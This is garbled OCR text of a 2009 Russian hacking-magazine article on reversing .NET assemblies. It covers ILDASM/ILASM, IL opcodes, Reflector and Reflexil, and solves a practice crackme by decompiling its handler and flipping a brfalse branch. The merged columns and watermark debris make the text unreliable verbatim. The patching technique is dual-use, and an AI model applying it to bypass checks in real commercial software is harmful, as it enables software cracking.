 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ШИФРУЕМСБОРКУ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MicrosoftонноситназваниеMSIL(Microsoft

имеяподрукойтолькобинарник.Дляэтогосама

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IntermediateLanguage),апослестандарти-

Microsoftпредлагаетинструментподназванием

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зациивсеназываютегопростоCIL(Common

ILDASM.Названиевыбранонеспроста(надеюсь,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IntermediateLanguage)или,ещекруче,—IL.

тыужедогадался,чтокчему).ILDASMустанав-

ВОССТАНАВЛИВАЕМБИНАРНИК

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CLR(CommonLanguageRuntime)отвечаетза

ливаетсяавтоматическиприустановкеVisual

ИЗIL-КОДА

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

компиляциюбайт-кодавнативный,обеспечивая Studio,такчто,поверь,онутебяужеесть.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

еговыполнениенацелевойсистеме.Приэтом

Запускаемконсольстудии(илипростоподгру-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

используетсяподходJIT(Just-In-Time),согласно

жаемпеременныесредыспомощьюскрипта

вIL,поэтомубудемискатьсредупрограммирова-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

которомукомпиляцияпроизводитсяоперативно

vsvars32.bat)изапускаемildasm.Открываемнаше

нияиотладки.Проектовтакихдва:DILEиILIDE#.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

померенеобходимости.

приветливоеприложениеиутыкаемсявнечтопо-

Первый—редактор,позволяющийотлаживать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Посмотрим,чтопредставляетсобой.NET-при-

хожеенадиаграммуклассов.Развертываяметод

исполняемыйкод.Самоесмешное,чтокакразре-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ложениеглазамиОльги.Дляэтогосоздадим

любогоизклассов,получаемегоIL-код.Скодом

дактироватьонинеумеет(классноназвали).Второй

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

простенькоеприложениеWindows.Forms,содер-

мыразберемсянемногопозже,асейчаспрове-

проектпредставляетсобойполноценнуюсреду

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жащееоднукнопкуивызывающееMessageBox

демэксперимент.ВыбираемменюFileÆDump

программирования.Однакопопыткаимпортиро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ссообщением«Hello,World»приеенажатии.Не

исохраняемкодвсегоприложениявтекстовый

ватькод,полученныйизILDASM,приводиткневоз-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

правдали,оченьоригинально?

файлSample1.il.ПослеэтогозапускаемILASM

можностикомпиляции(класснаяIDE).Вконечном

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Создал?ТогдагрузисборкувОльгуинаслаж-

(угадайдлячего):ilasmSample1.il.Получаем

итогевыборпалнасредуSharpDevelop,вкоторой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дайсярезультатом.Приложениезагрузилось,ав

файлснепонятнымрасширениемexe,запускаем

можносоздаватьпроектысподдержкойIL.Такую

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

окнедизассемблера—пусто.Обиднодосоплей.

ивидимдоболизнакомуюформу.Переднами

жеподдержкупредоставляетMonoDevelop,однако

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Точкувходанепоймалиичегодальшеделать—

простейшийалгоритмпатчингаприложений:

уменяонработатьотказался,ато,чтонеработает,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

непонятно.Жмемпаузуипереходимкотладке

•дизассемблируемкодвIL-язык;

идетвтопку.НедостаткиSharpDevelop:отсутствует

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

программы.Ставимусловнуюточкуостанована

•дампимвтекстовыйфайл;

поддержкаавтодополненияиневозможнаработас

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

TranslateMessageдляперехватанажатийлевой

•корректируемтекствлюбимойсредепрограм-

диаграммамиклассов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кнопкимыши(WM_LBUTTONUP:MSG==202).

мированияaka«Блокнот»;

Напишемнебольшоеконсольноеприложение,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Кликаемипогружаемсявтранс—казалосьбы,

•собираемприложениеизIL-кода.

напримерекоторогорассмотримосновныеязы-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

элементарныйвызовMessageBoxзаставляетОльгу

УЧИММАТЧАСТЬ

ковыеконструкции.Программабудетскладывать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

совершатькучудействийинедаетникакогопони-

двачислаивыводитьихсумму.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

маниялогикиработыпрограммы.Наверное,невсе

Итак,IL.Неплохохотябынемногопредставлять,

Всяпрограммасостоитизнаборадирективи

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

такужиужасно,носейфактзаставляетзадуматься

какписатьнаIL,скажешьты,ибудешьабсолютно команд.Директивыначинаютсяссимволаточкии

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

оцелесообразностииспользованияклассичес-

прав.Чтобыразбиратьсявлогикеработы,атем

реализуютдекларативныефункции:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

когоотладчикадляработыс.NET-сборками.Итак,

более,иметьвозможностьееизменять,намнужно

•.assembly—объявляетопределениеманифеста

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

продолжимпоискновыхдрузей-отладчиков.

изучитьазыязыка.Этимсейчасизаймемся.

иуказывает,какойсборкепринадлежиттекущий

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БРАТЬЯ-БЛИЗНЕЦЫ:

Дляначалаопределимсясинструментом.«Блокмодуль;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нот»—великаявещь,нохотелосьбыиметьпод

•.method—объявляетметод;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ILASM ИILDASM

рукойсреду,обеспечивающуюкомфортнуюработу •.entrypoint—объявляет,чтоуказанныйметод

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Динамическоекомпилированиеделает

навсемциклеразработки:подсветкусинтаксиса,

реализуетточкувходавприложение;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

процедуруотладкипрактическиневозможной

автоматическуюкомпиляциюилинковку,отладку. •.maxstack—указываетмаксимальноеколи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

длясложныхприложений. Нозачемпытаться

НапрашиваетсяVisualStudio,аннет,Microsoftне

чествослотоввстекедляпередачипараметров

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

отлаживатьнативныйкод, когдаможнопод-

реализуетподдержкуIL.Возможно,естькакие-

функции;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нятьсявышеиработатьнауровнеIL?

нибудьплагины,номнеихнайтинеудалось.

•.locals—объявляетлокальныепеременные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Перваяпроблема—какэтотсамыйкодполучить,

Побольшомусчету,можнопрограммироватьпрямо

метода.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

XÀÊÅÐ 07 /127/ 09

 

055

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

 

BUY

 

 

w Click

to

 

 

 

 

взлом

 

w Click

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОЛЬГАЯВНОНЕПРИСПОСОБЛЕНАДЛЯ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

АНАЛИЗА.NET-СБОРОК

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

изразделаcrackingвстиле.NET.Ятебепокажунаодномиз

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

них,каквсепростоикрасиво.Изэтическихсоображенийрас-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ИСХОДНЫЙIL-КОД

крыватьресурсянебуду,ноеслиинтересно,можешьвыяснить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

исам,посмотреввнимательновнутрьбинарника.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Приложениеapp14содержитнаформетекстбоксикнопку.В

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Описаниевсехдирективтынайдешьвофициальномдокумен-

текстбокснужноввестиправильнуюфразу,тогдаобработчик

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

теCommonLanguageInfrastructure(CLI),PartitionII:Metadata

кнопкивыведеткодовоеслово,котороеиявляетсярешением.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DefinitionandSemanticsнанашемдиске.

Принеправильнойфразевыводитсякакая-толабуда.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Всялогикаработыприложенияреализуетсяспомощью

Забылсказать:дляредактированияILоченьудобноиспользо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

команд.ПолныйихпереченьтыможешьнайтивMSDN(http://

ватьутилуRedGate’s.NETReflectorсустановленнымплагином

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

msdn.microsoft.com/en-us/library/system.reflection.emit.

Reflexil.Утилахорошатем,чтонаосновеILвосстанавливает

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HTTP://WWW

opcodes.ldlen.aspx).Учти,чтосимволыподчеркиваниянужно

коднанекоторыхязыкахвысокогоуровня,включаяшарп.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

заменятьнасимволыточки.ЛюбаяоперациявMSILисполня-

Реверсингпревращаетсявувлекательноезанятиеанализа

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

links

 

етсянастеке.Передвызовомкакой-либосмысловойкоманды, исходныхкодов.Итак,загружаемвReflectorнашегоподопыт-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

например,вызовафункции,встеккладутсяеепараметры.Это

ногоисмотримсаммарипоклассамиметодам.Видимдва

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Дляописаниякоманд

оченьпохоженаассемблер,однаковотличиеотраспростра-

класса—Encryptи,собственно,классформыподназванием

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IL бегомнаMSDN:

ненныхконвенцийвызоваstdcallиcdecl,переменныекладутся

goes.МожновкуриватьвреализациюEncrypt—онане-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://msdn.

втомпорядке,вкоторомониопределенывпрототипефункции.

сложная,нояпредпочелпосмотреть,чтожепроисходитпри

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

microsoft.com/en-

Заустановкупеременныхвстекотвечаюткомандысемейства

нажатиизаветнойкнопки.Обработчикищетсяэлементарно,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

us/library/system.

ld…Например,ldlocзагружаетлокальнуюпеременнуюпо

попрототипуфункции.Онадолжнаприниматьдвапараметра:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

reflection.emit.

ееимениилипорядковомуномеру,ldstrпредназначенадля

первыйтипаobjectивторойтипаEventArgs.Такихфункций

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

opcodes_fields.aspx

загрузкистроки.Обратнуюоперациюосуществляюткоманды

всегодвеипоназваниюочевидно,чтонаминтереснафункция

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Интересуютсредства

st…(store),забирающиезначениесвершиныстекавлокаль-

vla_Click.ВыбираемпоправойкнопкеменюDisassembleи

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

защиты.NET-при-

нуюпеременную.Очисткойстеказанимаетсясамавызываемая

видимчистыйc#!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ложений? Тогдатебе

функция,—послечегонавершинустекаонакладетвозвраща-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сюда:

 

емоезначение.Послеобъявленияпеременных(конструкцияinit()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.codewall.net

предназначенадляинициализациипеременныхзначениямипо

Политика разглашения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.chilkatsoft.

умолчанию)производитсявызовфункцииWrite.Дляэтоговстек

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

информации об уязвимости

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

com/dotNetCrypt.asp

кладетсястрокассообщением,котороебудетвыведенонаэкран.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.eziriz.com

Далееиспользуетсякомандаcall,вызывающаястатическийме-

Этосоглашениеимеетряднюансов. На-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.xheo.com/

тодWriteизклассаSystem.Consoleсборкиmscorlib.Привызове

пример, хакер, обнаруживуязвимость, ищетконтакты,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

products/codeveil/

указываетсяпрототипфункции,—чтобыкомпилятормогопреде-

чтобынаправитьсоответствующийзапроспроизво-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

default.aspx

лить,какуюизперегрузокиспользовать.Привызовенестатичес-

дителю. Еслипоистечениипятиднейпроизводитель

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кихметодовпередпараметрамивстекнужноположитьссылкуна

отмалчивается, вводитвзаблуждениесвоихпользова-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

экземпляркласса,апривызовепослеcallнужнопоставитьключе-

телейкакими-тоспособамиилинекорректновступаетв

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

воесловоinstance.Длявызовавиртуальныхметодовприменяй

диалог, тоемуотправляетсяповторноеписьмо. Выжи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

callvirt.ДалеевызываетсяфункцияReadLine,истрокапарситсяв

даютсяещепятьрабочихдней, послечегобаг-хантер

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

число,котороесохраняетсявпервойпеременной.Передвызовом

вправепомещатьописаниеобагенасобственном

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функциивыводанаэкранрезультатовпеременныевстекеподвер-

ресурсеиливпубличныебагтраки. Приэтомвписьме

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гаютсяпреобразованиювссылочныетипы(обертки)спомощью

требуетсяоговоритьисогласоватьдатупубликации,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

командыbox32.Остальноедолжнобытьяснобезпояснений.Еще

чтобыпроизводительуспелвыпуститьобновлениеили

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

одинважныймоментдляреверсера— этоотловветвлений. В

советыпозащитеотэксплуатации. Важноотметить, что

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IL ветвлениясоздаютсясиспользованиемсемействакоманд

еслистороннеетретьелицоопубликовалоданныеоб

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

b… (отbranch). ЗадетализациейбегинаMSDN.

эксплуатациинайденнойтобойуязвимости, тыможешь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПОПРОБУЙСЛОМАЙМЕНЯ

смелопоститьееподробностибезсогласованияскем-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

либо. Воттакаяарифметика.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ужечувствуешьсебякрутым?Тогдапорачто-нибудьдаполо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мать.Идемналюбойсайтсчеленджамиискачиваемзадание

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

056

 

 

XÀÊÅÐ 07 /127/ 09

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

REFLECTOR ПОКАЗЫВАЕТИСХОДНЫЙКОДНАC#

КодобработчиканажатиякнопкивCrackMe

private void vla_Click( object sender, EventArgs e)

{

int[] numArray = new int[12]; VariantType type = (VariantType)

Conversions.ToInteger(

MyProject.Computer.Registry.GetValue( @"HKEY_CURRENT_USER\valid", "", 0));

decimal num = new decimal(((((double) type) + 1.5) * ((double) type)) + 0.025);

if (this.txt.Text == "somerandomvl")

{

Interaction.MsgBox(RuntimeHelpers.

GetObjectValue(Encrypt.

ParseandDecrypt(Conversions.

ToString(Encrypt.ParseandEncrypt( "ydXX!if not txt is blah youfailed")))), MsgBoxStyle.Exclamation, "585mfg9gf");

}

else

{

Interaction.MsgBox(RuntimeHelpers.

GetObjectValue(Encrypt.ParseandDecrypt( "ydXX!if not txt is blah youfailed")), MsgBoxStyle.Exclamation, "585mfg9gf");

}

if (Convert.ToDouble(num) == (((((double)

type) + 1.5) * ((double) type)) + 0.025))

{

if ((type == VariantType.Empty) | (MyProject.Application.Info.DirectoryPath. Length.ToString().Length == 0x1ca))

{

Interaction.MsgBox("nope", MsgBoxStyle.Information, "sorry");

}

else if ((((this.txt.Text != this.txt. Text) & false) | false) | (type == VariantType. Null))

{

this.txt.Text = Conversions.ToString( Encrypt.ParseandDecrypt(

"fm`{f}kpwrn"));

}

}

}

WARNING

warning

Наилучшуюзащитусвоихсборокот анализатыполучишь вслучаеисполь-

зованияXenocode PostBuild (http:// www.xenocode.com/ products/postbuild- for-net), позволяющегокомпилировать приложениевнативныйкодсостатическимвключением стороннихсборок.

XÀÊÅÐ 07 /127/ 09

057

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

w Click

to

 

 

 

взлом

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SHARPDEVELOP ВДЕЙСТВИИ

 

 

 

 

 

 

 

 

 

 

Выполняетсякучакаких-топроверокисрав-

 

 

 

 

 

 

 

 

IL_00fc: ldstr

"nope"

 

VisualBasic.CompilerServices.

 

 

 

нений,которымнадоудовлетворить.Моеже

 

IL_0101: ldc.i4.s

64

 

Conversions::ToString(object)

 

 

 

 

вниманиепривлеклапоследняяинструкция

 

IL_0103: ldstr

"sorry"

 

IL_0152: callvirt instance void

 

 

 

this.txt.Text=Conversions.ToString(Encrypt.

 

IL_0108: call

valuetype

 

[System.Windows.Forms]System.

 

 

 

ParseandDecrypt("fm`{f}kpwrn"));.

 

[Microsoft.VisualBasic]Microsoft.

 

Windows.Forms.TextBox::set_

 

 

 

Нуда,приправильномраскладевтекстбокс

 

VisualBasic.MsgBoxResult

 

Text(string)

 

 

 

попадаетзначение,представляющеесобойрас-

 

[Microsoft.VisualBasic]

 

IL_0157: ret

 

 

 

шифрованнуюстроку«fm`{f}kpwrn».Собственно

 

Microsoft.VisualBasic.

 

 

 

 

 

 

 

 

 

 

 

алгоритмрасшифровыванияреализуетсяфунк-

 

Interaction::MsgBox(object,

 

Влевойпанеликликаемнаназваниебинарника,

 

 

циейParseandDecryptизклассаEncrypt.Дальше

 

valuetype [Microsoft.VisualBasic]

 

затемнажимаемкнопкуSaveasисохраняемего

 

 

можнолиборазбиратьсявалгоритме(зачем

 

Microsoft.VisualBasic.MsgBoxStyle,

 

подименемapp14_patched.Запускаем,вводим

 

 

ононамнадо?),либоскопироватькодфункциии

 

object)

 

 

любуюфразуивтекстбоксеполучаемкодовое

 

 

скомпилироватьсобственныйпроект,либопросто

 

 

 

 

словоihatethereg!!!

 

 

 

 

 

 

 

сделатьодинверныйпрыжок.

 

Меняемbrfalseнаbrtrue,чтобыпрыжоксо-

 

НАМНЕСТРАШЕН

 

 

ЗапускаемreflexilизменюToolsивидимIL-код.

 

вершить,нуачтобыизбежатьпроверкиelseif,

 

 

 

Нужноидентифицироватьместопоследнегоifи

 

меняемадресIL_0110наIL_013d.

 

СЕРЫЙВОЛК

 

 

прыгнутьснегонавыявленнуюкоманду.ВILнет

 

 

 

 

Неужеливседействительнотакпросто?Насамом

 

 

 

 

 

Выводрешениявтекстбоксеформы

 

 

 

 

 

операторовветвления,поэтомуониреализуются

 

 

делеида,инет.Еслимы(иещетуевахучалюдей)

 

 

ввидепоследовательностипростыхкомандсрав-

 

IL_013d: ldarg.0

 

 

знаемовозможностивосстановлениякода,об

 

 

ненияипрыжков.Здесьвсекаквассемблере.

 

IL_013e: callvirt

instance class

 

этомдолжныбылипозаботитьсявMicrosoft.Даи

 

 

Итак,ищемпоследнийпереходпередвыводом

 

[System.Windows.Forms]System.

 

другиеконторынепрочьпредоставитьрешения

 

 

MessageBoxссообщениемnope.

 

Windows.Forms.TextBox app14.

 

позащитеотанализаиреверса.Вцеломтаки

 

 

 

 

 

goes::get_txt()

 

 

есть,толькорешенияэтидалеконевсегдаобес-

 

 

Локализацияперехода

 

 

IL_0143: ldstr

"fm`{f}kpwrn"

 

печиваютреальнуюзащиту.

 

 

IL_00f2: ldc.i4

0x1ca

 

IL_0148: call

object app14.Encr

 

Начнемсобфускации.ВпоставкуVisualStudio

 

 

IL_00f7: ceq

 

 

ypt::ParseandDecrypt(string)

 

входитутилаподназваниемDotfuscator.Ее

 

 

IL_00f9: or

 

 

IL_014d: call

string

 

задача—усложнитьработуреверсеразасчет

 

 

IL_00fa: brfalse.s

IL_0110

 

[Microsoft.VisualBasic]Microsoft.

 

измененияименклассов,методовипеременных,

 

 

 

 

 

 

 

 

 

 

 

058

XÀÊÅÐ 07 /127/ 09

Соседние файлы в папке журнал хакер